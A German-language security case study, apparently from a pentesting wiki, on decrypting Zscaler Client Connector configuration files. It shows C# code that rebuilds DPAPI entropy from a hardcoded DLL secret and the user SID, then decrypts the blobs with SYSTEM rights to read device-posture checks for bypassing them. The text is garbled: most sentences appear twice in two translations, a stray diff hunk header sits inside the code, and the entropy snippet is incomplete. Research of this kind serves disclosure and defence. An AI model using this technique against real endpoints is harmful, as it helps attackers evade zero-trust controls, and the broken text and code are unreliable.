### Fallstudie: Zscaler Client Connector benutzerdefinierte Entropie, abgeleitet von der SID
Zscaler Client Connector speichert mehrere Konfigurationsdateien unter `C:\ProgramData\Zscaler` (z. B. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Jede Datei ist mit **DPAPI (Maschinenscope)** verschlüsselt, aber der Anbieter liefert **benutzerdefinierte Entropie**, die *zur Laufzeit berechnet* wird, anstatt auf der Festplatte gespeichert zu werden.
Zscaler Client Connector speichert mehrere Konfigurationsdateien unter `C:\ProgramData\Zscaler` (z. B. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Jede Datei ist mit **DPAPI (Machine scope)** verschlüsselt, aber der Anbieter liefert eine **benutzerdefinierte Entropie**, die *zur Laufzeit berechnet* wird, anstatt auf der Festplatte gespeichert zu werden.
Die Entropie wird aus zwei Elementen wiederhergestellt:
Die Entropie wird aus zwei Elementen rekonstruiert:
1. Ein hartcodiertes Geheimnis, das in `ZSACredentialProvider.dll` eingebettet ist.
1. Ein festkodiertes Geheimnis, eingebettet in `ZSACredentialProvider.dll`.
2. Die **SID** des Windows-Kontos, zu dem die Konfiguration gehört.
Der von der DLL implementierte Algorithmus entspricht:
Der von der DLL implementierte Algorithmus ist äquivalent zu:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -324,17 +325,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Weil das Geheimnis in einer DLL eingebettet ist, die vom Datenträger gelesen werden kann, **kann jeder lokale Angreifer mit SYSTEM-Rechten die Entropie für jede SID regenerieren** und die Blobs offline entschlüsseln:
Da das Geheimnis in einer DLL eingebettet ist, die von der Festplatte gelesen werden kann, **kann jeder lokale Angreifer mit SYSTEM-Rechten die Entropie für jede SID regenerieren** und die Blobs offline entschlüsseln:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Die Entschlüsselung ergibt die vollständige JSON-Konfiguration, einschließlich jeder **Geräte-Posture-Prüfung** und ihres erwarteten Wertes Informationen, die sehr wertvoll sind, wenn man versucht, clientseitige Umgehungen durchzuführen.
Die Entschlüsselung liefert die vollständige JSON-Konfiguration, einschließlich jeder **device posture check** und ihres erwarteten Werts Informationen, die beim Versuch von client-side bypasses sehr wertvoll sind.
> TIP: Die anderen verschlüsselten Artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) sind mit DPAPI **ohne** Entropie (`16` Null-Bytes) geschützt. Sie können daher direkt mit `ProtectedData.Unprotect` entschlüsselt werden, sobald SYSTEM-Rechte erlangt werden.
> TIPP: die anderen verschlüsselten Artefakte (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) sind mit DPAPI **ohne** entropy (`16` zero bytes) geschützt. Sie können daher direkt mit `ProtectedData.Unprotect` entschlüsselt werden, sobald SYSTEM-Privilegien erlangt wurden.
## References
## Quellen
- [Synacktiv Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)